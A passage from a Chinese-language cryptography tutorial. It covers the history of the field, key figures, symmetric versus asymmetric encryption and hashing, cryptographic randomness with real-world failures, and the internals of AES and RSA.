href="#fn:11" rel="footnote">[11]</a></sup> 是理论上唯一绝对安全的加密方案。</p><p><strong>1976 年 · Diffie-Hellman 密钥交换</strong></p><p>惠特菲尔德·迪菲和马丁·赫尔曼发表了<a href="https://ee.stanford.edu/~hellman/publications/24.pdf">《密码学的新方向》</a>（New Directions in Cryptography），首次提出了<strong>公钥密码学</strong><sup id="fnref:12"><a href="#fn:12" rel="footnote">[12]</a></sup>的概念，解决了困扰密码学四千年的密钥分发问题<sup id="fnref:13"><a href="#fn:13" rel="footnote">[13]</a></sup>。这被公认为密码学史上最具革命性的突破。</p><p><strong>1977 年 · RSA 算法 &amp; DES 标准</strong></p><p>Ron Rivest、Adi Shamir、Len Adleman 发表 <a href="https://people.csail.mit.edu/rivest/Rsapaper.pdf">RSA 算法</a>——第一个实用的公钥加密方案。同年，<abbr title="美国国家标准与技术研究院">NIST</abbr> 将 IBM 开发的 DES<sup id="fnref:14"><a href="#fn:14" rel="footnote">[14]</a></sup> 定为美国联邦标准，这是第一个公开可用的标准化加密算法。</p><p><strong>1991 年 · PGP：加密走向大众</strong></p><p>菲尔·齐默尔曼发布 <a href="https://www.openpgp.org/">PGP</a>（Pretty Good Privacy），首次将混合加密（RSA + IDEA）带给普通用户。齐默尔曼因”出口军火级别加密软件”被美国政府刑事调查三年——当时美国法律将强加密软件列为军火。</p><p><strong>1994 年 · Shor 算法：量子威胁的出现</strong></p><p>彼得·肖尔提出 <a href="https://arxiv.org/abs/quant-ph/9508027">Shor 量子算法</a>，能够在多项式时间内分解大整数——未来量子计算机可在一小时内破解 RSA-2048。</p><p><strong>2001 年 · AES 取代 DES</strong></p><p>比利时密码学家 Joan Daemen 和 Vincent Rijmen 设计的 Rijndael 算法在公开竞赛中击败 14 个候选算法胜出，成为 AES 标准。</p><p><strong>2004 年 · 王小云破解 MD5</strong></p><p>中国密码学家<strong>王小云</strong>教授在国际密码学会议上宣布成功构造 MD5 碰撞<sup id="fnref:15"><a href="#fn:15" rel="footnote">[15]</a></sup>，<a href="https://link.springer.com/chapter/10.1007/11426639_2">论文链接</a>。随后她陆续破解了 SHA-1、MD4 等多个哈希算法，推动全球密码标准升级至 SHA-2&#x2F;SHA-3。</p><p><strong>2024 年 · NIST 发布后量子密码标准</strong></p><p>NIST 正式发布三项后量子密码标准：FIPS 203（ML-KEM，基于格）、FIPS 204（ML-DSA）、FIPS 205（SLH-DSA），标志着密码学正式进入后量子时代。详见第十四章。</p><hr><h2 id="第三章-关键人物志"><a href="#第三章-关键人物志" class="headerlink" title="第三章 关键人物志"></a>第三章 关键人物志</h2><p>密码学的每一次重大飞跃，背后都站着少数天才的头脑。以下是塑造了密码学面貌的 12 位关键人物：</p><table><thead><tr><th>人物</th><th>年代</th><th>贡献</th></tr></thead><tbody><tr><td><strong>Gaius Julius Caesar</strong></td><td>公元前 100–44 年 · 罗马</td><td>凯撒密码的发明者，将密码用于军事通信的第一人</td></tr><tr><td><strong>Al-Kindi（肯迪）</strong></td><td>约 801–873 年 · 阿拉伯</td><td>频率分析法的发明者，将密码破解提升为系统化科学</td></tr><tr><td><strong>Leon Battista Alberti</strong></td><td>1404–1472 年 · 意大利</td><td>“西方密码学之父”，发明密码轮盘和多表替换密码</td></tr><tr><td><strong>Alan Turing（艾伦·图灵）</strong></td><td>1912–1954 年 · 英国</td><td>设计 Bombe 机破解 Enigma，利用”字母不自加密”特性缩小搜索空间，现代计算机科学之父</td></tr><tr><td><strong>Claude Shannon（克劳德·香农）</strong></td><td>1916–2001 年 · 美国</td><td>“信息论之父”，<a href="https://ee.stanford.edu/~gray/sp.pdf">《保密系统的通信理论》</a>为密码学建立严格数学基础，证明一次性密码本的绝对安全性</td></tr><tr><td><strong>Diffie &amp; Hellman</strong></td><td>1976 年 · 美国</td><td><a href="https://ee.stanford.edu/~hellman/publications/24.pdf">《密码学的新方向》</a>提出公钥密码学概念和 DH 密钥交换协议</td></tr><tr><td><strong>Rivest, Shamir, Adleman</strong></td><td>1977 年 · MIT</td><td><a href="https://people.csail.mit.edu/rivest/Rsapaper.pdf">发明 RSA 算法</a>，首个实用公钥加密方案，获 2002 年图灵奖</td></tr><tr><td><strong>Phil Zimmermann</strong></td><td>1954– · 美国</td><td><a href="https://www.openpgp.org/">PGP</a> 作者，将强加密带给大众，曾因此被美国政府刑事调查三年</td></tr><tr><td><strong>王小云（Wang Xiaoyun）</strong></td><td>1966– · 中国</td><td>山东大学教授，<a href="https://link.springer.com/chapter/10.1007/11426639_2">破解 MD5</a>，推动全球哈希标准升级至 SHA-2&#x2F;SHA-3</td></tr><tr><td><strong>Peter Shor（彼得·肖尔）</strong></td><td>1959– · MIT</td><td>1994 年提出 <a href="https://arxiv.org/abs/quant-ph/9508027">Shor 算法</a>，证明量子计算机可破解 RSA 和 ECC</td></tr><tr><td><strong>Joan Daemen</strong></td><td>1965– · 比利时</td><td>AES（Rijndael）算法共同设计者</td></tr><tr><td><strong>Daniel J. Bernstein</strong></td><td>1971– · 美国</td><td>设计 Curve25519、ChaCha20、Poly1305 等现代加密算法，<a href="https://cr.yp.to/">个人网站</a></td></tr></tbody></table><hr><h2 id="第四章-核心概念与分类"><a href="#第四章-核心概念与分类" class="headerlink" title="第四章 核心概念与分类"></a>第四章 核心概念与分类</h2><h3 id="4-1-三大密码学目标（CIA-N）"><a href="#4-1-三大密码学目标（CIA-N）" class="headerlink" title="4.1 三大密码学目标（CIA + N）"></a>4.1 三大密码学目标（CIA + N）</h3><table><thead><tr><th>目标</th><th>英文</th><th>实现手段</th><th>生活类比</th></tr></thead><tbody><tr><td><strong>机密性</strong></td><td>Confidentiality</td><td>加密（对称&#x2F;非对称）</td><td>给信封上锁，只有收信人有钥匙</td></tr><tr><td><strong>完整性</strong></td><td>Integrity</td><td>哈希函数、MAC</td><td>快递包裹的防拆封条</td></tr><tr><td><strong>真实性</strong></td><td>Authenticity</td><td>数字签名、证书</td><td>合同上的手写签名</td></tr><tr><td><strong>不可否认性</strong><sup id="fnref:16"><a href="#fn:16" rel="footnote">[16]</a></sup></td><td>Non-repudiation</td><td>数字签名 + 时间戳</td><td>已签名的借条，无法抵赖</td></tr></tbody></table><h3 id="4-2-加密体系三大分类"><a href="#4-2-加密体系三大分类" class="headerlink" title="4.2 加密体系三大分类"></a>4.2 加密体系三大分类</h3><p>下面这张图用一个统一的框架对比了对称加密、非对称加密和哈希函数——注意对比每种体系<strong>密钥的数量、加密方向、是否可逆</strong>：</p><svg viewBox="0 0 680 380" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs>    <linearGradient id="gSym" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#6c5ce7"/><stop offset="100%" stop-color="#a29bfe"/></linearGradient>    <linearGradient id="gAsym" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#0984e3"/><stop offset="100%" stop-color="#74b9ff"/></linearGradient>    <linearGradient id="gHash" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00b894"/><stop offset="100%" stop-color="#55efc4"/></linearGradient>  </defs>  <rect x="30" y="20" width="620" height="105" rx="12" fill="url(#gSym)" opacity="0.08"/>  <rect x="40" y="25" width="100" height="30" rx="6" fill="url(#gSym)"/>  <text x="90" y="45" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">对称加密</text>  <text x="155" y="45" fill="#6c5ce7" font-size="13">一把钥匙开一把锁</text>  <rect x="55" y="65" width="70" height="45" rx="8" fill="#fff" stroke="#6c5ce7" stroke-width="2"/><text x="90" y="83" text-anchor="middle" font-size="22">🔑</text><text x="90" y="102" text-anchor="middle" font-size="11" fill="#6c5ce7">同一密钥</text>  <rect x="150" y="68" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="200" y="86" text-anchor="middle" font-size="13">明文</text><text x="200" y="102" text-anchor="middle" font-size="11" fill="#636e72">Hello World</text>  <text x="270" y="92" text-anchor="middle" font-size="18">→ 加密 →</text>  <rect x="310" y="68" width="100" height="40" rx="6" fill="#6c5ce7" opacity="0.15"/><text x="360" y="86" text-anchor="middle" font-size="13" fill="#6c5ce7">密文</text><text x="360" y="102" text-anchor="middle" font-size="11" fill="#6c5ce7">3fA9$xK#</text>  <text x="430" y="92" text-anchor="middle" font-size="18">→ 解密 →</text>  <rect x="470" y="68" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="520" y="86" text-anchor="middle" font-size="13">明文</text><text x="520" y="102" text-anchor="middle" font-size="11" fill="#636e72">Hello World</text>  <rect x="585" y="65" width="55" height="45" rx="8" fill="#fff" stroke="#6c5ce7" stroke-width="2"/><text x="612" y="83" text-anchor="middle" font-size="22">🔑</text><text x="612" y="102" text-anchor="middle" font-size="10" fill="#6c5ce7">同密钥</text>  <text x="350" y="130" text-anchor="middle" font-size="11" fill="#636e72">代表算法：AES、DES、ChaCha20、SM4 | 速度快，适合大数据量</text>  <rect x="30" y="145" width="620" height="105" rx="12" fill="url(#gAsym)" opacity="0.08"/>  <rect x="40" y="150" width="100" height="30" rx="6" fill="url(#gAsym)"/>  <text x="90" y="170" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">非对称加密</text>  <text x="155" y="170" fill="#0984e3" font-size="13">一把锁，两把不同的钥匙</text>  <rect x="55" y="190" width="70" height="45" rx="8" fill="#fff" stroke="#0984e3" stroke-width="2"/><text x="90" y="208" text-anchor="middle" font-size="22">🔓</text><text x="90" y="227" text-anchor="middle" font-size="11" fill="#0984e3">公钥（加密）</text>  <rect x="150" y="193" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="200" y="211" text-anchor="middle" font-size="13">明文</text>  <text x="270" y="217" text-anchor="middle" font-size="18">→ 加密 →</text>  <rect x="310" y="193" width="100" height="40" rx="6" fill="#0984e3" opacity="0.15"/><text x="360" y="211" text-anchor="middle" font-size="13" fill="#0984e3">密文</text>  <text x="430" y="217" text-anchor="middle" font-size="18">→ 解密 →</text>  <rect x="470" y="193" width="100" height="40" rx="6" fill="#dfe6e9"/><text x="520" y="211" text-anchor="middle" font-size="13">明文</text>  <rect x="585" y="190" width="55" height="45" rx="8" fill="#fff" stroke="#0984e3" stroke-width="2"/><text x="612" y="208" text-anchor="middle" font-size="22">🔐</text><text x="612" y="227" text-anchor="middle" font-size="10" fill="#0984e3">私钥解密</text>  <text x="350" y="255" text-anchor="middle" font-size="11" fill="#636e72">代表算法：RSA、ECC、SM2 | 慢但无需预先共享密钥</text>  <rect x="30" y="260" width="620" height="105" rx="12" fill="url(#gHash)" opacity="0.08"/>  <rect x="40" y="265" width="100" height="30" rx="6" fill="url(#gHash)"/>  <text x="90" y="285" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">哈希函数</text>  <text x="155" y="285" fill="#00b894" font-size="13">无密钥，不可逆</text>  <text x="120" y="318" text-anchor="middle" font-size="28">📄 → 🔨 → 🔢</text>  <text x="230" y="310" font-size="14">任意长度输入 → 固定长度输出（摘要/指纹）</text>  <text x="230" y="332" font-size="12" fill="#636e72">不可逆！无法从哈希值恢复原文</text>  <text x="480" y="318" text-anchor="middle" font-size="13" fill="#636e72">SHA-256("Hello") = </text>  <text x="480" y="340" text-anchor="middle" font-size="12" font-family="monospace" fill="#00b894">185f8db32271fe25...</text></svg><p><em>图：三大加密体系对比——对称加密、非对称加密、哈希函数</em></p><h3 id="4-3-易混淆概念对比表"><a href="#4-3-易混淆概念对比表" class="headerlink" title="4.3 易混淆概念对比表"></a>4.3 易混淆概念对比表</h3><table><thead><tr><th>对比维度</th><th>对称加密</th><th>非对称加密</th><th>哈希函数</th></tr></thead><tbody><tr><td>密钥</td><td>1 把密钥</td><td>公钥 + 私钥</td><td>无密钥</td></tr><tr><td>可逆性</td><td>✅ 可逆（有密钥）</td><td>✅ 可逆（有私钥）</td><td>❌ 单向不可逆</td></tr><tr><td>速度</td><td>极快（GB&#x2F;s 级）</td><td>很慢（比对称慢 100-1000 倍）</td><td>快</td></tr><tr><td>典型用途</td><td>加密大量数据</td><td>密钥交换、数字签名</td><td>完整性校验、密码存储</td></tr><tr><td>密钥分发</td><td>困难（需安全信道）</td><td>容易（公钥可公开）</td><td>不涉及</td></tr><tr><td>举例</td><td>AES、ChaCha20、SM4</td><td>RSA、ECC、SM2</td><td>SHA-256、SM3、BLAKE3</td></tr></tbody></table><blockquote><p><strong>⚠️ 最常见的误解：</strong> “MD5 加密” 和 “SHA-1 加密” —— 它们根本不是加密！MD5 和 SHA-1 是<em>哈希函数</em>，不可逆、没有密钥。正确的说法是 “MD5 摘要” 或 “SHA-1 哈希”。</p></blockquote><h3 id="4-4-密码学中的随机数：一切安全的根基"><a href="#4-4-密码学中的随机数：一切安全的根基" class="headerlink" title="4.4 密码学中的随机数：一切安全的根基"></a>4.4 密码学中的随机数：一切安全的根基</h3><p>如果说密钥是加密的灵魂，那么<strong>随机数就是灵魂的源头</strong>。没有真随机数，AES-256 也能被预测——等于裸奔。</p><h4 id="4-4-1-为什么密码学离不开随机数？"><a href="#4-4-1-为什么密码学离不开随机数？" class="headerlink" title="4.4.1 为什么密码学离不开随机数？"></a>4.4.1 为什么密码学离不开随机数？</h4><p>密码学中几乎每个环节都需要随机数：</p><table><thead><tr><th>场景</th><th>需要随机数做什么</th><th>如果不随机会怎样</th></tr></thead><tbody><tr><td>密钥生成</td><td>生成不可预测的密钥</td><td>攻击者穷举少量可能密钥即可</td></tr><tr><td><abbr title="Number used ONCE，一次性随机数">Nonce</abbr> &#x2F; <abbr title="Initialization Vector，初始化向量">IV</abbr></td><td>确保相同明文每次加密出不同密文</td><td>密文可被对比破解（WEP 就是这样被破的）</td></tr><tr><td>ECDSA 签名</td><td>签名时需要一个随机数 k</td><td>k 被猜出→私钥直接泄露（索尼PS3事件）</td></tr><tr><td>TLS 握手</td><td>Client Random &#x2F; Server Random</td><td>TLS 安全性完全崩溃</td></tr><tr><td>盐（Salt）<sup id="fnref:17"><a href="#fn:17" rel="footnote">[17]</a></sup></td><td>每个密码一个随机盐</td><td>彩虹表攻击<sup id="fnref:18"><a href="#fn:18" rel="footnote">[18]</a></sup>一招毙命</td></tr></tbody></table><h4 id="4-4-2-PRNG-vs-CSPRNG-vs-TRNG"><a href="#4-4-2-PRNG-vs-CSPRNG-vs-TRNG" class="headerlink" title="4.4.2 PRNG vs CSPRNG vs TRNG"></a>4.4.2 PRNG vs CSPRNG vs TRNG</h4><p>随机数分为三类，只有一类适合加密：</p><table><thead><tr><th>类型</th><th><abbr title="伪随机数生成器">PRNG</abbr></th><th><abbr title="密码学安全伪随机数生成器">CSPRNG</abbr></th><th><abbr title="真随机数生成器">TRNG</abbr></th></tr></thead><tbody><tr><td>原理</td><td>数学公式（如线性同余）</td><td>密码学算法（AES-CTR &#x2F; ChaCha20）</td><td>物理噪声（热噪声、光子辐射）</td></tr><tr><td>可预测性</td><td>知道种子即可预测</td><td>计算上不可预测</td><td>物理上不可预测</td></tr><tr><td>速度</td><td>极快</td><td>快</td><td>慢（受限于物理熵源速率）</td></tr><tr><td>用途</td><td>游戏、模拟</td><td><strong>加密（都用这个）</strong></td><td>CSPRNG 的种子源</td></tr><tr><td>举例</td><td><code>Math.random()</code></td><td>Linux <code>/dev/urandom</code></td><td>Intel RDRAND</td></tr></tbody></table><blockquote><p><strong>⚠️ 关键认知：</strong> 日常加密用的都是 CSPRNG，不是 TRNG。操作系统从物理熵源收集种子，然后 CSPRNG 把少量真随机性”拉伸”成大量可用的安全随机数。</p></blockquote><h4 id="4-4-3-坏随机数的真实灾难"><a href="#4-4-3-坏随机数的真实灾难" class="headerlink" title="4.4.3 坏随机数的真实灾难"></a>4.4.3 坏随机数的真实灾难</h4><p><strong>索尼 PS3 ECDSA 私钥泄露（2010）</strong>：Sony 在 PS3 的 ECDSA 签名中用了固定的随机数 k。攻击者拿到两笔不同交易的签名，通过数学推导提取出私钥。PS3 被彻底破解。</p><p><strong>Debian OpenSSL 弱密钥事件（2008）</strong>：Debian 在修补 OpenSSL 时错误注释掉了一行熵收集代码，导致生成的 SSH&#x2F;RSA 密钥仅依赖进程 PID（仅 32768 种可能）。全球上万服务器在使用可预测的弱密钥，持续了两年才被发现。</p><hr><h2 id="第五章-对称加密原理深度解析"><a href="#第五章-对称加密原理深度解析" class="headerlink" title="第五章 对称加密原理深度解析"></a>第五章 对称加密原理深度解析</h2><h3 id="5-1-流密码（Stream-Cipher）"><a href="#5-1-流密码（Stream-Cipher）" class="headerlink" title="5.1 流密码（Stream Cipher）"></a>5.1 流密码（Stream Cipher）</h3><p><strong>核心思想：</strong> 用一个密钥生成伪随机的”密钥流”，然后将密钥流与明文按位<strong>异或（XOR）</strong><sup id="fnref:19"><a href="#fn:19" rel="footnote">[19]</a></sup>得到密文。解密时用相同的密钥生成相同的密钥流，再次异或还原明文。</p><p>下面的 SVG 展示了流密码从密钥到密文的完整过程：</p><svg viewBox="0 0 680 160" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arr5" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#6c5ce7"/></marker></defs>  <rect x="20" y="20" width="140" height="50" rx="8" fill="#dfe6e9"/><text x="90" y="42" text-anchor="middle" font-size="12" fill="#636e72">密钥（Key）</text><text x="90" y="60" text-anchor="middle" font-size="11" font-family="monospace">MySecret123</text>  <rect x="190" y="20" width="160" height="50" rx="8" fill="#a29bfe" opacity="0.2"/><text x="270" y="42" text-anchor="middle" font-size="12" fill="#6c5ce7">PRGA（伪随机生成器）</text><text x="270" y="60" text-anchor="middle" font-size="11" fill="#6c5ce7">RC4 / ChaCha20</text>  <rect x="380" y="20" width="140" height="50" rx="8" fill="#6c5ce7" opacity="0.1"/><text x="450" y="42" text-anchor="middle" font-size="12" fill="#6c5ce7">密钥流</text><text x="450" y="60" text-anchor="middle" font-size="11" font-family="monospace" fill="#6c5ce7">A7 F2 0B 8E...</text>  <rect x="545" y="28" width="50" height="34" rx="6" fill="#e17055"/><text x="570" y="50" text-anchor="middle" fill="#fff" font-size="14" font-weight="700">⊕</text>  <rect x="620" y="20" width="40" height="50" rx="8" fill="#00b894" opacity="0.15"/><text x="640" y="50" text-anchor="middle" font-size="12" fill="#00b894">密文</text>  <rect x="380" y="100" width="140" height="40" rx="8" fill="#dfe6e9"/><text x="450" y="118" text-anchor="middle" font-size="12" fill="#636e72">明文（Plaintext）</text><text x="450" y="133" text-anchor="middle" font-size="11" font-family="monospace">Hello World</text>  <line x1="450" y1="100" x2="570" y2="62" stroke="#636e72" stroke-width="1.5" stroke-dasharray="5"/>  <line x1="160" y1="45" x2="190" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/>  <line x1="350" y1="45" x2="380" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/>  <line x1="520" y1="45" x2="545" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/>  <line x1="595" y1="45" x2="620" y2="45" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr5)"/></svg><p><em>图：流密码加密原理——密钥流与明文逐位异或</em></p><table><thead><tr><th>算法</th><th>密钥长度</th><th>状态</th><th>说明</th></tr></thead><tbody><tr><td>RC4</td><td>40~2048 位</td><td>❌ 已淘汰</td><td>WEP&#x2F;WPA 无线安全的核心，因密钥流偏倚和 Nonce 重用被彻底攻破</td></tr><tr><td>ChaCha20</td><td>256 位</td><td>✅ 推荐</td><td>Daniel Bernstein 设计，速度极快且在无硬件加速的设备上表现优异</td></tr><tr><td>ZUC（祖冲之）</td><td>128 位</td><td>✅ 国密标准</td><td>中国自主设计，已被 3GPP 采纳为 LTE 国际标准</td></tr></tbody></table><h3 id="5-2-分组密码（Block-Cipher）"><a href="#5-2-分组密码（Block-Cipher）" class="headerlink" title="5.2 分组密码（Block Cipher）"></a>5.2 分组密码（Block Cipher）</h3><p><strong>核心思想：</strong> 将明文分割成固定大小的块（如 128 位&#x3D;16 字节），对每一块分别进行加密变换。不同块之间通过<em>工作模式</em>（第九章）关联以增强安全性。</p><h3 id="5-3-AES-深度解析"><a href="#5-3-AES-深度解析" class="headerlink" title="5.3 AES 深度解析"></a>5.3 AES 深度解析</h3><p>AES<sup id="fnref:20"><a href="#fn:20" rel="footnote">[20]</a></sup> 是目前全球使用最广泛的对称加密算法，由比利时密码学家设计（原名 Rijndael），在 NIST 公开竞赛中击败 14 个候选算法胜出。</p><table><thead><tr><th>参数</th><th>AES-128</th><th>AES-192</th><th>AES-256</th></tr></thead><tbody><tr><td>密钥长度</td><td>128 位（16 字节）</td><td>192 位（24 字节）</td><td>256 位（32 字节）</td></tr><tr><td>分组大小</td><td>128 位</td><td>128 位</td><td>128 位</td></tr><tr><td>加密轮数</td><td>10 轮</td><td>12 轮</td><td>14 轮</td></tr><tr><td>安全性（经典）</td><td>128 位安全</td><td>192 位安全</td><td>256 位安全</td></tr><tr><td>量子安全性</td><td>约 64 位</td><td>约 96 位</td><td>约 128 位（仍安全）</td></tr></tbody></table><p>下面这张图展示了 AES 的加密流程——注意理解<strong>轮数</strong>这个概念：AES 不是一遍就算完，而是把明文反复”揉面”多遍，每一遍叫做一轮：</p><svg viewBox="0 0 680 320" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrAES" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#6c5ce7"/></marker></defs>  <text x="340" y="22" text-anchor="middle" font-size="15" font-weight="700" fill="#6c5ce7">AES 加密流程（SPN 结构<sup id="fnref:21"><a href="#fn:21" rel="footnote">[21]</a></sup>）</text>  <rect x="270" y="38" width="140" height="34" rx="6" fill="#dfe6e9"/><text x="340" y="60" text-anchor="middle" font-size="13">128 位明文块</text>  <line x1="340" y1="72" x2="340" y2="88" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="270" y="88" width="140" height="34" rx="6" fill="#a29bfe" opacity="0.2"/><text x="340" y="110" text-anchor="middle" font-size="13" fill="#6c5ce7">AddRoundKey（轮密钥加）</text>  <line x1="340" y1="122" x2="340" y2="138" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="220" y="138" width="240" height="86" rx="8" fill="#6c5ce7" opacity="0.05" stroke="#6c5ce7" stroke-width="1" stroke-dasharray="6"/>  <text x="340" y="156" text-anchor="middle" font-size="12" fill="#6c5ce7">重复 N-1 轮（AES-256: 13 轮）</text>  <rect x="240" y="162" width="95" height="28" rx="4" fill="#dfe6e9"/><text x="287" y="181" text-anchor="middle" font-size="11">SubBytes（S 盒替换）</text>  <rect x="345" y="162" width="95" height="28" rx="4" fill="#dfe6e9"/><text x="392" y="181" text-anchor="middle" font-size="11">ShiftRows（行移位）</text>  <rect x="240" y="194" width="95" height="28" rx="4" fill="#dfe6e9"/><text x="287" y="213" text-anchor="middle" font-size="11">MixColumns（列混淆）</text>  <rect x="345" y="194" width="95" height="28" rx="4" fill="#a29bfe" opacity="0.2"/><text x="392" y="213" text-anchor="middle" font-size="11" fill="#6c5ce7">AddRoundKey</text>  <line x1="340" y1="224" x2="340" y2="240" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="270" y="240" width="140" height="34" rx="6" fill="#a29bfe" opacity="0.3"/><text x="340" y="262" text-anchor="middle" font-size="13" fill="#6c5ce7">最后一轮（无 MixColumns）</text>  <line x1="340" y1="274" x2="340" y2="290" stroke="#6c5ce7" stroke-width="2" marker-end="url(#arrAES)"/>  <rect x="270" y="290" width="140" height="34" rx="6" fill="#6c5ce7" opacity="0.1"/><text x="340" y="312" text-anchor="middle" font-size="13" fill="#6c5ce7">128 位密文块</text>  <rect x="520" y="88" width="100" height="28" rx="6" fill="#00b894" opacity="0.1"/><text x="570" y="107" text-anchor="middle" font-size="11" fill="#00b894">密钥扩展算法</text>  <line x1="410" y1="105" x2="520" y2="102" stroke="#00b894" stroke-width="1.5" stroke-dasharray="5" marker-end="url(#arrAES)"/>  <text x="470" y="96" text-anchor="middle" font-size="9" fill="#00b894">256位密钥</text></svg><p><em>图：AES 加密的 SPN 结构</em></p><p><strong>AES 的四步操作（每轮都做）：</strong></p><ul><li><strong>SubBytes（字节替换）——混淆</strong>：每个字节通过 S 盒（一个 16×16 的非线性查找表）替换为另一个字节。这是 AES 安全性的核心来源。</li><li><strong>ShiftRows（行移位）——扩散</strong>：将 4×4 状态矩阵的每一行循环左移不同偏移量，让一个列中的字节扩散到不同列。</li><li><strong>MixColumns（列混淆）——扩散</strong>：将每一列的数据混合运算，进一步扩散。</li><li><strong>AddRoundKey（轮密钥加）——密钥混合</strong>：将当前轮的密钥与状态矩阵逐字节异或。</li></ul><blockquote><p><strong>📌 为什么 AES 安全？</strong> AES 的安全性建立在<em>混淆</em>（S 盒的非线性变换使输入输出关系极难分析）和<em>扩散</em>（ShiftRows 和 MixColumns 使每个输出位依赖于所有输入位）的组合上。AES-256 在量子计算机面前（Grover 算法）仍保持约 128 位有效安全强度。</p></blockquote><hr><h2 id="第六章-非对称加密原理深度解析"><a href="#第六章-非对称加密原理深度解析" class="headerlink" title="第六章 非对称加密原理深度解析"></a>第六章 非对称加密原理深度解析</h2><h3 id="6-1-RSA-算法原理"><a href="#6-1-RSA-算法原理" class="headerlink" title="6.1 RSA 算法原理"></a>6.1 RSA 算法原理</h3><p>RSA 是密码学史上最优雅的发明之一——它解决了密钥分发这一困扰人类四千年的难题。其安全性建立在一个简单的数学事实之上：<em>两个大质数相乘很容易，但从乘积反推两个质数极其困难。</em></p><h4 id="RSA-密钥生成（完整步骤）"><a href="#RSA-密钥生成（完整步骤）" class="headerlink" title="RSA 密钥生成（完整步骤）"></a>RSA 密钥生成（完整步骤）</h4><ol><li><strong>选择两个大质数</strong>：随机选 p 和 q（各 1024 位以上），计算 n &#x3D; p × q。n 是”模数”，长度即密钥长度。</li><li><strong>计算欧拉函数</strong>：φ(n) &#x3D; (p-1) × (q-1)。这表示小于 n 且与 n 互质的正整数个数。</li><li><strong>选择公钥指数 e</strong>：选一个与 φ(n) 互质的数 e，通常固定为 65537（0x10001），因为它是质数且二进制只有两个 1（计算快）。</li><li><strong>计算私钥指数 d</strong>：求 e 关于模 φ(n) 的乘法逆元，即 e × d ≡ 1 (mod φ(n))。用扩展欧几里得算法可高效计算。</li><li><strong>公钥</strong> &#x3D; (n, e)，<strong>私钥</strong> &#x3D; (n, d)。p 和 q 必须销毁——任何持有 p、q 的人都能算出 d。</li></ol><p>下面这张流程图展示了 RSA 从密钥生成到加密解密的完整路径：</p><svg viewBox="0 0 680 280" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs><marker id="arrRSA" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#0984e3"/></marker></defs>  <text x="340" y="22" text-anchor="middle" font-size="15" font-weight="700" fill="#0984e3">RSA 加密与解密流程</text>  <rect x="15" y="40" width="230" height="210" rx="10" fill="#dfe6e9" stroke="#0984e3" stroke-width="1" stroke-dasharray="5"/>  <text x="130" y="62" text-anchor="middle" font-size="12" font-weight="700" fill="#0984e3">密钥生成（一次性）</text>  <text x="130" y="82" text-anchor="middle" font-size="11">选大质数 p, q</text>  <text x="130" y="100" text-anchor="middle" font-size="11">n = p × q</text>  <text x="130" y="118" text-anchor="middle" font-size="11">φ(n) = (p-1)(q-1)</text>  <text x="130" y="136" text-anchor="middle" font-size="11">选 e: gcd(e, φ(n)) = 1</text>  <text x="130" y="154" text-anchor="middle" font-size="11">算 d: e × d ≡ 1 mod φ(n)</text>  <line x1="30" y1="168" x2="230" y2="168" stroke="#b2bec3" stroke-width="1"/>  <text x="60" y="185" text-anchor="middle" font-size="11" fill="#00b894">公钥 (n, e) → 公开</text>  <text x="170" y="185" text-anchor="middle" font-size="11" fill="#d63031">私钥 (n, d) → 保密</text>  <text x="130" y="210" text-anchor="middle" font-size="11" fill="#636e72">销毁 p, q</text>  <rect x="275" y="55" width="130" height="50" rx="8" fill="#dfe6e9"/><text x="340" y="75" text-anchor="middle" font-size="13">明文 m</text><text x="340" y="93" text-anchor="middle" font-size="11" font-family="monospace">Hello</text>  <line x1="405" y1="80" x2="445" y2="80" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="445" y="55" width="160" height="50" rx="8" fill="#0984e3" opacity="0.1"/><text x="525" y="73" text-anchor="middle" font-size="12" fill="#0984e3">加密 c = m^e mod n</text><text x="525" y="93" text-anchor="middle" font-size="11" fill="#0984e3">使用公钥 (n, e)</text>  <line x1="605" y1="80" x2="640" y2="80" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="640" y="55" width="30" height="50" rx="8" fill="#0984e3" opacity="0.2"/><text x="655" y="85" text-anchor="middle" font-size="11" fill="#0984e3">c</text>  <rect x="640" y="140" width="30" height="50" rx="8" fill="#0984e3" opacity="0.2"/><text x="655" y="170" text-anchor="middle" font-size="11" fill="#0984e3">c</text>  <line x1="640" y1="165" x2="605" y2="165" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="445" y="140" width="160" height="50" rx="8" fill="#00b894" opacity="0.1"/><text x="525" y="158" text-anchor="middle" font-size="12" fill="#00b894">解密 m = c^d mod n</text><text x="525" y="178" text-anchor="middle" font-size="11" fill="#00b894">使用私钥 (n, d)</text>  <line x1="445" y1="165" x2="405" y2="165" stroke="#0984e3" stroke-width="1.5" marker-end="url(#arrRSA)"/>  <rect x="275" y="140" width="130" height="50" rx="8" fill="#dfe6e9"/><text x="340" y="160" 